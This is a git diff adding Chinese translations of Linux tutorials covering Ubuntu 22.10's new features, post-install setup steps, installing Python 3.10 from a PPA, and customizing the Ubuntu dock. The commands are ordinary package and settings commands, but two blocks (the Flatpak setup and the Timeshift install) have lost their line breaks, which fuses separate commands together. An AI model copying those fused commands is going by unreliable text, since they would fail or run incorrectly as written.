+当然,这是一个经过定制的 GNOME 体验,现有的 Ubuntu 用户会很熟悉。 + +那么,Ubuntu 22.10 都有哪些新变化呢?让我们一起来看看。 + +### Ubuntu 22.10 的新变化 + +![][2] + +除了 GNOME 43 之外,Ubuntu 22.10 还包括: + +- 一个改进的 设置Settings 应用程序。 +- 经典的 Unity 应用程序散布模式Spread Mode的复活。 +- 一些著名的应用程序被移植到 GTK4 和 Libadwaita。 +- 全系统支持 WebP。 +- PipeWire 采样管默认的音频服务器。 +- Linux 内核 5.19。 + +> 💡 Ubuntu 22.10 将被支持九个月,直到 **2023 年 7 月**。如果你想要稳定而不是功能,你应该更愿意使用 [LTS 版本][3]。 + +#### 🎨 视觉改进 + +当第一次测试一个新版本时,视觉上的变化总是最先被注意到的。在 Ubuntu 22.10 中尤其如此,这要归功于 [GNOME 43][4] 所带来的重大改进。 + +![Ubuntu 22.10 快速设置][5] + +首先,我们有全新的快速设置菜单,它取代了旧的、相当笨拙的系统菜单。与安卓、iOS 和 Windows 11 中的菜单类似,这个新增的菜单允许你打开和关闭 Wi-Fi 和蓝牙,所有这些都无需进入设置Settings应用程序。 + +当然,在这个版本中我们还得到了全新的壁纸。 + +![Ubuntu 22.10 壁纸][6] + +对于这个变化,我除了喜欢并希望从社区中看到更多这样的设计之外,没有什么别的可说的。 + +此外,更多的应用程序被移植到了 GTK4,包括对 Nautilus 文件管理器的改进。 + +一些有价值的新增功能包括: + +- 拖动并选择文件的能力(橡皮筋选择)。 +- 自适应视图与一个紧凑的窗口。 +- 新的文件上下文菜单。 + +你可以通过我们的详细报道来探索 Nautilus 的改进。 + +#### 👴 应用程序散布回来了! + +我不太喜欢的 GNOME 的一个部分是多窗口应用程序的切换,我相信很多其他用户都有这样的不满。 + +![Ubuntu 22.04][7] + +幸运的是,Ubuntu 22.10 现在提供了一个很好的解决方案,对于长期用户来说应该是很熟悉的。终于,在 2017 年放弃对 Unity 的支持五年后,Ubuntu 的开发者们又把应用程序散布Spread带了回来。 + +![Ubuntu 22.10应用程序散布][8] + +这是一个重大的改进,我很惊讶 GNOME 自己没有这样做。 + +#### 🛠️ 设置的改进 + +虽然不是大多数人日常使用的应用程序,但系统设置System Settings是 GNOME 体验的一个核心部分。考虑到这一点,看到它接受了一次重大的视觉改造,以及移植到了 GTK 4 和 Libadwaita,真是太棒了。 + +![Ubuntu 22.10 桌面设置][9] + +因此,它现在变得更好看了,而且是自适应的,这意味着它在任何尺寸下都能很好地工作,甚至在像 PinePhone 这样的 Linux 手机上也能很好地工作! + +另一个与设置有关的变化是增加了一个新的 “Ubuntu 桌面设置Ubuntu Desktop Settings”菜单项。这提供了一个单一的、统一的地方来定制和改变你所有的 Ubuntu 特定设置。 + +#### Linux 内核 5.19 + +Ubuntu 22.10 还带来了一个更新的内核,即 [Linux 内核 5.19][10]。这个版本的改进相当少,尽管它确实带来了对一些下一代硬件的改进支持。 + +你应该注意到这是 Linux 5.x 系列的最后一个版本,因为 Linux 内核下一个版本跳到了 6.0。 + +#### 其他变化 + +![Ubuntu 22.10 webp][11] + +总的来说有几个细微的调整。但其中一些基本的调整包括: + +- 图像应用程序默认支持 .WebP 图像格式。 +- GNOME 文本编辑器是默认编辑器。你可以安装 gedit 并使其成为默认的。 +- GNOME 图书应用程序已经不再可用。Ubuntu 推荐 [Foliate][12] 作为替代。 +- 不再默认安装 To Do 应用程序,并且它有了一个新的名字,“Endeavour”。 +- GNOME 终端仍然是默认的终端应用。如果需要,可以安装 [GNOME 控制台][13]。 +- 更新了 Firefox 104、[Thunderbird 102][14] 和 [Libreoffice 7.4][15] 等应用程序。 +- 更多的应用程序已经被移植到 GTK4,特别是 [Nautilus][16]。 + +> ℹ️ 注意,我们的列表集中在对桌面终端用户重要的变化上。如果你想知道更多关于服务器和其他使用情况的变化/更新,请参考 [官方发布说明][17]。 + +### 下载 Ubuntu 22.10 + +你可以从 [Ubuntu 的中央镜像库][18] 或其 [官方网站][19] 下载最新的 ISO。 + +**官方网站/仓库可能需要一段时间来提供 ISO 的下载。 + +> **[下载Ubuntu 22.10][19]** + +💬 有兴趣尝试 Ubuntu 22.10 吗?请在评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-22-10-release/ + +作者:[Jacob Crume][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/ubuntu-22-10-release.png +[2]: https://news.itsfoss.com/content/images/2022/10/ubuntu-22-10.png +[3]: https://itsfoss.com/long-term-support-lts/ +[4]: https://news.itsfoss.com/gnome-43-release/ +[5]: https://news.itsfoss.com/content/images/2022/10/ubuntu-22-10-quick-setting.jpg +[6]: https://news.itsfoss.com/content/images/2022/10/22.10-wallpaper.png +[7]: https://news.itsfoss.com/content/images/2022/10/ubuntu-22-04-window-minimize.png +[8]: https://news.itsfoss.com/content/images/2022/10/ubuntu-22-10-app-spread.jpg +[9]: https://news.itsfoss.com/content/images/2022/10/ubuntu-22-10-desktop-setting.png +[10]: https://news.itsfoss.com/linux-kernel-5-19-release/ +[11]: https://news.itsfoss.com/content/images/2022/10/ubuntu-22-10-webp.png +[12]: https://itsfoss.com/foliate-ebook-viewer/ +[13]: https://itsfoss.com/gnome-console/ +[14]: https://news.itsfoss.com/thunderbird-102-release/ +[15]: https://news.itsfoss.com/libreoffice-7-4-release/ +[16]: https://news.itsfoss.com/gnome-files-43/ +[17]: https://discourse.ubuntu.com/t/kinetic-kudu-release-notes/27976 +[18]: https://cdimage.ubuntu.com/ubuntu/releases/22.10/release/ +[19]: https://ubuntu.com/download/desktop diff --git a/published/202210/20221021.2 ⭐️⭐️ 10 Things to Do After Installing Ubuntu 22.10 [With Bonus Tip].md b/published/202210/20221021.2 ⭐️⭐️ 10 Things to Do After Installing Ubuntu 22.10 [With Bonus Tip].md new file mode 100644 index 0000000000..6e07f8247a --- /dev/null +++ b/published/202210/20221021.2 ⭐️⭐️ 10 Things to Do After Installing Ubuntu 22.10 [With Bonus Tip].md @@ -0,0 +1,197 @@ +[#]: subject: "10 Things to Do After Installing Ubuntu 22.10 [With Bonus Tip]" +[#]: via: "https://www.debugpoint.com/things-to-do-ubuntu-22-10/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15185-1.html" + +安装 Ubuntu 22.10 后要做的 10 件事 +====== + +> 以下是我们安装 Ubuntu 22.10 “Kinetic Kudu”(GNOME 版)后,推荐做的 10 件事列表。 + +![][1] + +Ubuntu 22.10 带来了很多令人兴奋的新功能,例如 GNOME 43、最新的内核、重新设计的托盘菜单、文件应用的功能和 Pipewire 等 [新功能][2]。 + +我相信你已经迫不及待地想尝试 Ubuntu 22.10 上的这些新功能了。 + +但是请先等一等。 + +在你前往享受你新安装的 Ubuntu 22.10 之前,我要向你推荐一个不容错过的 Ubuntu 定制技巧列表。 + +### 安装 Ubuntu 22.10 后要做的 10 件事 + +#### 1、更新你的系统 + +安装好 Ubuntu 22.10 后,第一件要做的事就是更新你的系统。因为时差的原因,最新的 ISO 镜像通常不会包括所有的系统更新。所以,你要打开一个终端窗口,并运行以下命令,来更新你的系统。 + +``` +sudo apt update && sudo apt upgrade +``` + +上述命令执行完成后,你就可以进行下一步啦。 + +#### 2、删除 Firefox Snap,并安装 Flatpak 或者 deb 版本的 Firefox + +自去年发布的 Ubuntu 21.10 版本以来,默认的网页浏览器 Firefox 开始以 Snap 软件包的形式出现。如果你是普通用户,这可能不是一个问题或者需要担心的事情。但是出于几个原因,例如 Snap 软件包的 Firefox 启动时间较长、且当 Firefox 有后台更新时,会有不必要的 Snap 更新通知等等原因,导致许多用户不太喜欢 Firefox 的 Snap 软件包。 + +因此,你可以按照 [我写的另一篇操作指南][3],来完全删除 Firefox 的 Snap 软件包。这一过程有点复杂,需要花费一点时间。删除完成后,再从个人软件包存档(PPA)安装 deb 版本的 Firefox,或者使用 [Flatpak 版本][4] 的 Firefox。 + +这是一个可选的动作,你也可以跳过这一步骤。 + +#### 3、安装并启用 Flatpak + +虽然,几乎所有最新的 Linux 发行版都会默认安装 Flatpak,但是 Ubuntu 并没有默认安装 Flatpak,这是因为 Ubuntu 使用了它自己的沙箱技术 Snap。 + +但 Flatpak 这一应用程序还是最适合于每个人。Flatpak 能够帮助你快速安装多个应用程序,并在使用过程中无需担心依赖性和其他事情。 + +大多数 Flatpak 应用程序都在集中的仓库 Flathub 中。 + +要在 Ubuntu 22.10 中启用 Flatpak 应用程序,请按照以下命令进行操作。 + +``` +sudo apt install flatpakflatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakreporeboot +``` + +如果你想进一步了解关于此安装过程的更多信息,请阅读我们不久前发布的 [指南][5]。 + +#### 4、查看隐私设置 + +我建议你在安装 Ubuntu 后,手动退出任何数据收集项。大家都知道,无论怎么努力尝试,在互联网上保护自己的隐私都很困难。因此,这些小步骤很重要。 + +要配置隐私项,请打开“设置Settings”并选择“隐私Privacy”。然后查看隐私菜单下列出的项目。 + +此外,请确保禁用对 Ubuntu 服务器的后台报告。需要运行以下命令来手动禁用,因为在设置中没有禁用它的选项。 + +``` +sudo ubuntu-report -f send no +``` + +![Turn off location services in Ubuntu 22.10][6] + +#### 5、探索 GNOME 43 的功能 + +在 Ubuntu 22.10 版本中,最具视觉和功能性的变化是 GNOME 43。因为 GNOME 43 有一些根本性和核心变化,所以它会影响每个人和他们的工作。GNOME 43 带来了一个新的药丸形状的托盘菜单,并更新了文件应用和 GNOME Web 等原生应用程序的功能。 + +请查看更为详细的 [GNOME 43 功能][7] 一文,以了解更多信息,或者你也可以自己探索 GNOME 43。 + +![Quick Settings Demo in GNOME 43][8] + +#### 6、确保音频可以与 Pipewire 配合使用 + +如果你经常使用音频,或者你的工作范围涉及到声音捕获、播放等内容,请确保在 Ubuntu 22.10 中,你的音频在有线或蓝牙情况下都能正常工作。 + +因为 Ubuntu 22.10 这个版本中的音频服务器是多年来第一次发生了变化,传统的 PulseAudio 被现代的 Pipewire 所取代。因此,请务必进行验证音频是否能正常使用。 + +#### 7、安装其他软件包 + +确保你可以在 Ubuntu 桌面上播放所有视频和音频格式是很重要的。如果你在设置期间跳过了额外的软件包安装,可以通过以下命令进行安装。 + +``` +sudo apt install ubuntu-restricted-extras +``` + +这可以解决 Ubuntu 中的任何视频或音频的播放问题,特别是 GNOME 视频无法播放的情况(因为GNOME 视频在默认情况下将无法播放任何内容)。 + +#### 8、安装基本的应用程序 + +带有 GNOME 的 Ubuntu 基础版本只有非常基本的应用程序。因此,在你使用 Ubuntu 之前,你需要安装一些其他必要的应用程序。 + +由于每个人的工作范围不同,每个人所需的应用程序也都不同。因此,在这里我仅提供一个通用的应用程序的列表,我认为你可以把这些应用程序都安装上,因为这些应用程序对所有人来说都很常用。 + +- GIMP – 进阶的照片编辑器 +- VLC – 无需额外编解码器即可播放任何内容的媒体播放器 +- Leafpad – 轻量级文本编辑器(甚至比默认的文本编辑器 gedit 还要更轻量级) +- Synaptic – 更好的软件包管理器 + +安装这些应用程序的命令: + +``` +sudo apt install -y gimp vlc leafpad synaptic +``` + +#### 9、获取一些 GNOME 扩展 + +你可以使用几个很酷的扩展程序,来扩展 GNOME 43 的功能,包括自定义顶部栏、托盘、更改 adwaita 外观等等。首先,使用下面的命令通过 Flatpak 来安装 GNOME 扩展管理器。 + +``` +flatpak install flathub com.mattjakeman.ExtensionManager +``` + +安装完成后,你就可以在 GNOME 扩展管理器中搜索你想要的任何扩展了。以下是一些必要扩展,你可以用它们来快速扩展 GNOME 43 的功能,我认为它们非常适合你全新的 Ubuntu 桌面。你只需在扩展管理器应用程序中,搜索这些名称即可。 + +- Caffeine +- Custom Hot Corners +- Dash to Dock +- Blur my shell +- Gradients +- Hide Activities Button +- Net speed simplified + +#### 10、准备备份 + +我们总是在我们遇到困难时,才觉得有必要备份。所以,请确保从一开始你就为备份做好了准备。理想的备份应用程序是 Timeshift,它很容易安装和使用。 + +以下是你可以从终端安装 Timeshift 的一组命令。安装完成后,你可以打开 Timeshift,并按照屏幕上的说明,设置备份了。 + +``` +sudo add-apt-repository -y ppa:teejee2008/ppasudo apt-get updatesudo apt-get install timeshift +``` + +### 额外小技巧 + +如果你想进一步定制你新安装的 Ubuntu 系统,以下是一些额外的小技巧。 + +#### 安装漂亮的字体 + +字体是一个很小却影响很大的设置项。虽然,Ubuntu 自带有好用的“Ubuntu regular”字体。 + +但是,你也可以从 Ubuntu 的官方仓库中安装一些其他漂亮的字体。以下是安装字体的一些命令。 + +``` +sudo apt install fonts-roboto fonts-cascadia-code fonts-firacode +``` + +安装完成后,你可以使用 [GNOME Tweak 工具][9],来更改字体。 + +#### 安装 TLP + +如果你经常使用笔记本电脑,那么你要好好爱惜电脑的电池。虽然电池用久了总是会损坏的,但你可以采取一些步骤,来减缓电池的老化。TLP 是 Linux 中自动优化电池使用、减缓电池老化的最好的程序之一。你可以使用以下命令来安装 TLP。 + +``` +sudo apt install tlp +``` + +我建议你将电池的电量始终保持在 50% 至 80% 之间。不要过度充电或让电池电量消耗到 50% 以下,也不要给电脑连续插电。 + +### 总结 + +以上就是安装桌面 Ubuntu 22.10 后要做的 10 件事啦。 + +我希望这篇文章会对你有帮助,你能够通过本文的方法来定制和调整你的 Ubuntu 桌面。那么你认为在安装好 Ubuntu 后,什么事是最推荐做的呢?请在评论区中告诉我吧。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/things-to-do-ubuntu-22-10/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/10/u2210-things-hd-1024x576.jpg +[2]: https://www.debugpoint.com/ubuntu-22-10/ +[3]: https://www.debugpoint.com/remove-firefox-snap-ubuntu/ +[4]: https://flathub.org/apps/details/org.mozilla.firefox +[5]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[6]: https://www.debugpoint.com/wp-content/uploads/2022/10/Turn-off-location-services-in-Ubuntu-22.10.jpg +[7]: https://www.debugpoint.com/gnome-43/ +[8]: https://www.debugpoint.com/wp-content/uploads/2022/08/Quick-Settings-Demo-in-GNOME-43.gif +[9]: https://www.debugpoint.com/customize-your-ubuntu-desktop-using-gnome-tweak/ diff --git a/published/202210/20221022.1 ⭐️ How to Install Python 3.10 in Ubuntu and Other Related Linux.md b/published/202210/20221022.1 ⭐️ How to Install Python 3.10 in Ubuntu and Other Related Linux.md new file mode 100644 index 0000000000..04f9379ddf --- /dev/null +++ b/published/202210/20221022.1 ⭐️ How to Install Python 3.10 in Ubuntu and Other Related Linux.md @@ -0,0 +1,146 @@ +[#]: subject: "How to Install Python 3.10 in Ubuntu and Other Related Linux" +[#]: via: "https://www.debugpoint.com/install-python-3-10-ubuntu/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15195-1.html" + +如何在 Ubuntu 和其他相关 Linux 中安装 Python 3.10 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/30/152139lddzddabu5u4buud.jpg) + +> 计划为工作安装 Python 3.10?以下是在 Ubuntu 和相关发行版中安装 Python 3.10 的方法。 + +Python 3.10 于 2021 年 10 月 25 日发布,具有附加功能和更新。此版本带来了更好的错误消息处理、新的模式匹配功能、类型别名TypeAlias、用户定义的类型保护等。你可以在 [此处][1] 阅读发布重点。 + +在编写本指南时,大多数当前发行版都采用 Python 3.10。例如,Ubuntu 22.04 LTS 和 Fedora 36 默认都有 Python 3.10。 + +也就是说,如果你现在在任何不支持的版本中需要 Python 3.10,你可以使用 [下面的可靠 PPA][2] 在 Ubuntu 中安装最新的 Python 3.10。下面是方法。 + +### 如何在 Ubuntu 上安装 Python 3.10 + +此 PPA 可用于 Ubuntu 21.10、Ubuntu 21.04、Ubuntu 20.04 LTS、Ubuntu 18.04 LTS 和 Linux Mint 20.x、Elementary OS 6 和其他相关的基于 Ubuntu 的发行版。这些发行版大多数默认情况下不支持 3.10。 + +打开终端并添加以下 PPA: + +``` +sudo add-apt-repository ppa:deadsnakes/ppa +``` + +使用以下命令刷新缓存: + +``` +sudo apt update +``` + +并使用以下命令安装 Python 3.10: + +``` +sudo apt install python3.10 +``` + +### 设置 Python 版本 + +将 Python 3.10 设置为默认值需要一些额外的步骤。如下。 + +> **警告**:你的 Ubuntu 系统中的许多应用程序依赖于 Python 3.9 的库存版本。因此,请确保你的工作应用(例如 GIMP、GNOME 终端等)与 Python 3.10 兼容。所以,要小心。 + +**快速提示:** 如果要检查已安装的系统包中的哪些依赖于特定版本,请使用 `apt-cache` 命令的 `rdepends` 开关。在下面的示例中,我检查哪些已安装的包依赖于 Python 3.8。 + +``` +apt-cache rdepends python3.8 +``` + +``` +[~]$ apt-cache rdepends python3.8 +python3.8 +Reverse Depends: +python3.8-dbg +virtualbox +python3.8-venv +python3.8-full +libpython3.8-testsuite +libglib2.0-tests +idle-python3.8 +idle-python3.8 +python3.8-minimal +python3.8-doc +python3.8-dev +python3.8-dbg +python3-uno +gedit +virtualbox +stimfit +python3.8-venv +python3-stfio +python3-escript-mpi +python3-escript +python3-csound +pitivi +obs-studio +liferea +libpython3.8-testsuite +libglib2.0-tests +kitty +kdevelop-python +idle-python3.8 +idle-python3.8 +rhythmbox-plugins +python3.8-minimal +python3.8-doc +python3.8-dev +python3 +python3-uno +python3-all +cluster-glue +gedit +[~]$ +``` + +#### 使用 Python 3.10 作为默认 Python3 + +首先,使用终端中的以下命令检查当前默认版本。 + +``` +python3 --version +``` + +使用 `update-alternatives` 创建指向 `python3` 的符号链接。 + +``` +sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.9 1 +``` + +``` +sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.10 2 +``` + +并通过以下命令选择使用哪一个作为 `python3`: + +``` +sudo update-alternatives --config python3 +``` + +![在 Ubuntu 中安装 Python 3.10][3] + +这就是所有步骤。现在,你可以开始在当前的 Ubuntu 版本中使用最新的 Python 进行工作/学习。你可以使用上述命令切换到库存版本并在任何时间更改版本号。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/install-python-3-10-ubuntu/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://docs.python.org/3.10/whatsnew/3.10.html +[2]: https://github.com/deadsnakes +[3]: https://www.debugpoint.com/wp-content/uploads/2021/10/Installed-Python-3.10-in-Ubuntu-1024x472.jpeg \ No newline at end of file diff --git a/published/202211/20210108 The Definitive Guide to Using and Customizing the Dock in Ubuntu.md b/published/202211/20210108 The Definitive Guide to Using and Customizing the Dock in Ubuntu.md new file mode 100644 index 0000000000..4cbc192479 --- /dev/null +++ b/published/202211/20210108 The Definitive Guide to Using and Customizing the Dock in Ubuntu.md @@ -0,0 +1,248 @@ +[#]: collector: (lujun9972) +[#]: translator: (chai001125) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15281-1.html) +[#]: subject: (The Definitive Guide to Using and Customizing the Dock in Ubuntu) +[#]: via: (https://itsfoss.com/customize-ubuntu-dock/) +[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) + +在 Ubuntu 中使用和自定义程序坞 +====== + +![][0] + +当你登录 Ubuntu 时,你会看到屏幕左侧的 程序坞/停靠栏 dock ,上面有一些应用程序的图标。程序坞(也称为 启动器 launcher ,或者 面板 panel )可以让你快速启动某个常用的应用程序。 + +![][1] + +我经常使用程序坞。在本文中,我将分享一些关于有效使用程序坞的小技巧,并介绍自定义程序坞的外观和位置的方法。 + +你将在本教程中学习到以下内容: + + * 程序坞的基本用途:添加应用程序,并使用快捷方式来启动应用程序 + * 自定义程序坞的外观:更改图标大小、图标位置 + * 更改程序坞的位置:可用于单屏和多显示器的设置 + * 在程序坞中隐藏已安装的磁盘图标 + * 自动隐藏或禁用程序坞 + * 使用 `dconf-editor` 对程序坞进行额外的定制 + * 用其他程序坞应用程序替换 Ubuntu 默认的程序坞 + +我将在教程中使用 程序坞 dock 面板 panel 启动器 launcher 等术语,它们的意思是等同的。 + +### 如何使用 Ubuntu 程序坞:你必须知道的基础知识 + +如果你是 Ubuntu 的新手,你需要掌握如何使用程序坞。尽管,在一段时间后你总会熟悉程序坞的功能,但是阅读本文能让你更快地明白。 + +#### 向程序坞添加新的应用程序(或删除应用程序) + +这一步骤十分简单。从菜单中搜索你想要添加在程序坞的应用程序,然后运行它。 + +正在运行的应用程序会显示在程序坞中,它的图标在程序坞中所有图标的下方。右键单击该图标,然后选择 “添加到收藏夹 Add to Favorites ” 选项。这会把该应用程序的图标锁定到程序坞上。 + +![Right-click on the icon and select “Add to Favorites”][2] + +从程序坞中删除应用程序的图标,操作起来更为简单。你不需要运行你想要在程序坞删除的应用程序,只需右键单击应用程序图标,然后选择 “从收藏夹中删除 Remove From Favorites ” 即可。 + +![Right-click on the icon and select “Remove from Favorites”][3] + +#### 更改程序坞中的图标顺序 + +默认情况下,新添加到程序坞的应用程序图标会放置在程序坞上的所有图标之后。但是,你也可以改变图标的位置。 + +要更改图标的顺序,你只需将它拖放到另一个位置即可,不用 “锁定位置 lock it ”,或者做其他的事情。如果你不做任何的更改,这个图标会一直停留在那个位置。 + +![Reorder Icons On Ubuntu Docks][4] + +#### 右键单击程序坞中的图标,以获取应用程序的额外选项 + +左键单击程序坞中的图标会启动应用程序,或者如果应用程序已经在运行,则这个应用程序会被聚焦,即它会出现在所有其他正在运行的应用程序窗口前面。 + +右键单击程序坞中的图标会为你提供应用程序的额外选项。不同的应用程序会有不同的选项。 + +右键单击**浏览器**图标,在它的额外选项中,你可以打开一个新的私人窗口,或预览所有正在运行的窗口。 + +![][5] + +右键单击**文件管理器**图标,在它的额外选项中,你可以查看所有已添加书签的目录,或预览打开的窗口。 + +当然,你也可以通过右键单击图标,来退出应用程序。大多数应用程序能够通过右键单击而退出,而一些应用程序(例如 Telegram 等),将被最小化到 系统托盘 system tray 中。 + +#### 使用键盘快捷键,以快速启动程序坞中的应用程序 [知道这个的人不多] + +你只需用鼠标单击程序坞上的图标,即可启动应用程序。但是,你也可以用键盘快捷键,来启动应用程序。 + +使用 `WIN`/`Super` + `数字键` 的组合,能够启动程序坞中该位置的应用程序。 + +![][6] + +如果应用程序已经在运行了,它将被聚焦。 + +由于这个功能是基于位置的,所以请不要一直对图标进行重新排序。就我个人而言,我把 Firefox 放在程序坞的第 1 个位置,文件管理器放在第 2 个位置,备用浏览器放在第 3 个位置,以此类推,直到第 9 个位置。这样,我可以使用 `Super + 2`,从而快速启动文件管理器。 + +因为我的系统连接了 3 个屏幕,所以我发现这个快速启动应用程序的功能特别好用,我不必再将鼠标移动到第一个屏幕上的程序坞上了。你也可以在其他屏幕上启用或禁用程序坞,我将在本教程的后面部分向你展示如何设置。 + +### 改变程序坞在屏幕上的位置 + +默认情况下,程序坞位于屏幕的左侧。但是,有些人喜欢将程序坞放置在屏幕底部。 + +Ubuntu 允许你更改程序坞的位置。你可以将程序坞移至底部或右侧。我不觉得有很多人真的想要把扩展坞放在了顶部,所以没有将扩展坞移到顶部的选项。 + +![Change Launcher Position][7] + +要更改程序坞位置,请进入 “设置 Settings ” 菜单,然后点击 “外观 Appearance ” ,你可以在 Dock 栏下看到一些选项,然后你可以在此处更改 “屏幕上的位置 Position on screen ” 这一设置。 + +![Go to Settings->Appearance->Dock][8] + +#### 程序坞在多显示器设置中的位置 + +如果你的系统连接了多个屏幕,你可以选择是在所有的屏幕上还是在某个选定的屏幕上,显示扩展坞。 + +![Ubuntu Dock Settings Multimonitor][9] + +对于我个人而言,我只在我的笔记本电脑屏幕上显示程序坞,因为这是我的主屏幕。这样在我的另外两个屏幕会留有最大的空间。 + +### 更改程序坞的外观 + +让我们继续看看 Ubuntu 程序坞中的更多自定义选项吧。 + +想象一下,如果你在程序坞中添加了太多的应用程序或打开了太多应用程序,那么程序坞的空间会被填满。如果你想要进入到程序坞端点处的应用程序,那么你必须滚动到程序坞顶部和底部才可以。 + +你可以更改程序坞的图标大小,来解决这个问题,这样程序坞就能够容纳更多图标来。不过,也不要让图标太小。 + +![][10] + +要更改程序坞的图标大小,请进入 “设置 Settings ” 菜单,然后点击 “外观 Appearance ” ,并通过移动 “图标大小 Icon size ” 下的滑块来更改它。默认的图标大小为 48 像素。 + +![Changing Icon Size In Ubuntu Dock][11] + +#### 在程序坞中隐藏已安装的磁盘图标 + +当你插入 U 盘或 SD 卡时,它的驱动器会安装到系统中,并且在程序坞中会立即出现一个图标。这个图标很有用,因为你可以直接通过右键单击它,来安全地删除驱动器选项。 + +![Mounted disks are displayed In the Ubuntu Dock][12] + +如果你认为在程序坞中显示已安装的磁盘图标很麻烦的话,你也可以关闭这个功能。别担心,你仍然可以从文件管理器访问已安装的驱动器。 + +打开终端,使用以下命令,来隐藏程序坞中已安装的磁盘图标: + +``` +gsettings set org.gnome.shell.extensions.dash-to-dock show-mounts false +``` + +更改会立即生效。你不再会为程序坞中显示已安装的磁盘而烦恼了。 + +如果你想要恢复默认情况,请使用以下命令: + +``` +gsettings set org.gnome.shell.extensions.dash-to-dock show-mounts true +``` + +### 改变程序坞的行为 + +接下来,让我们自定义程序坞的默认行为,使它能更适合你的需求吧。 + +#### 启用点击最小化 + +如果你单击一个正在运行的应用程序的图标,那么这个应用程序的窗口将成为焦点。当如果你**再次单击**这个图标时,将什么都不会发生。这是因为,在默认情况下,第二次点击同一图标不会最小化应用程序。 + +这是现代桌面的默认行为,但我不太喜欢,我更喜欢的是:当我**第二次点击图标时,应用程序会被最小化**。 + +如果你像我一样,那么你可能想要在 Ubuntu 中 [启用点击最小化选项][13]: + +为此,请打开终端并输入以下命令: + +``` +gsettings set org.gnome.shell.extensions.dash-to-dock click-action 'minimize' +``` + +#### 自动隐藏 Ubuntu 程序坞,以获得更多屏幕空间 + +如果你想要有最大的屏幕空间,你可以在 Ubuntu 中为程序坞启用自动隐藏选项。 + +自动隐藏选项会隐藏程序坞,你就能获得整个屏幕。不过,程序坞仍然可以使用。将光标移动到程序坞原来所在的位置,它就会再次出现。当程序坞重新出现时,它会覆盖在正在运行的应用程序窗口上。这是一件好事,否则太多元素会开始在屏幕上移动。 + +要设置程序坞自动隐藏,请进入 “设置 Settings ” 菜单,然后点击 “外观 Appearance ” ,你可以在 Dock 栏下开启 自动隐藏选项 Auto-hide the Dock ” 。 + +![Auto-hide the dock][14] + +如果你不喜欢自动隐藏程序坞的话,你可以用同样的方式禁用它。 + +#### 禁用 Ubuntu 默认的程序坞 + +Ubuntu 程序坞的自动隐藏选项对很多人来说已经足够好了,但是依旧有些用户根本不喜欢 Ubuntu 自带的程序坞。如果你也是其中的一员,你可以选择完全禁用 Ubuntu 的程序坞。 + +从 Ubuntu 20.04 开始,你可以使用 扩展应用程序 Extensions application ,来管理 [GNOME 扩展][15]。 + +![Look for Extensions app in the menu][16] + +使用这个扩展应用程序,你就可以轻松地禁用或重新启用程序坞了。 + +![Disable Ubuntu Dock][17] + +### 使用 dconf-editor 进行高级的程序坞定制 [不推荐] + +##### 请注意 + +`dconf-editor` 能让你更改 GNOME 桌面环境的几乎每个方面。这个性质喜忧参半,因为你在更改时必须小心,而且大多数设置都可以即时更改,无需确认。虽然你可以重置你的更改,但你仍可能会将系统置于难以恢复正常的状态。 + +出于这个原因,我不推荐你使用 `dconf-editor`,特别是如果你不喜欢花时间在故障排除和修复问题上,或者如果你不太熟悉 Linux 和 GNOME。 + +[dconf-editor][18] 给你提供了在 Ubuntu 中自定义程序坞的其他选项。你可以在从软件中心安装 `dconf-editor`,然后导航到 `org > gnome > shell > extensions > dash-to-dock`,在这里你会找到很多自定义程序坞的选择。 + +![][19] + +### 替换 Ubuntu 默认的程序坞 + +有几个第三方的程序坞应用程序可用于 Ubuntu 和其他 Linux 发行版。你可以安装你想要的第三方程序坞,并使用它。 + +例如,你可以从软件中心下载 “Plank dock”,并以与 Ubuntu 程序坞类似的方式来使用它。 + +![Plank Dock in Ubuntu][20] + +在这种情况下,禁用 Ubuntu 默认的程序坞会是一个更好的主意,因为同时使用多个扩展坞是不太明智的。 + +### 总结 + +本教程介绍了在 GNOME 实现中,如何自定义 Ubuntu 默认的程序坞。上述程序坞的更改在 vanilla GNOME 的程序坞上运行良好。 + +我已经向你展示了大多数常见的 Ubuntu 程序坞的定制方法。你不需要去盲目地跟随教程中的所有步骤。阅读并思考哪一个是你需要的,然后根据教程中的方法更改配置。 + +如果你不喜欢 Ubuntu 默认的程序坞,也有其他的程序坞可供试验。 + +这个教程让你学到了新东西吗?你还想看到更多这样的教程吗?欢迎你在评论区中建议和反馈。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/customize-ubuntu-dock/ + +作者:[Abhishek Prakash][a] 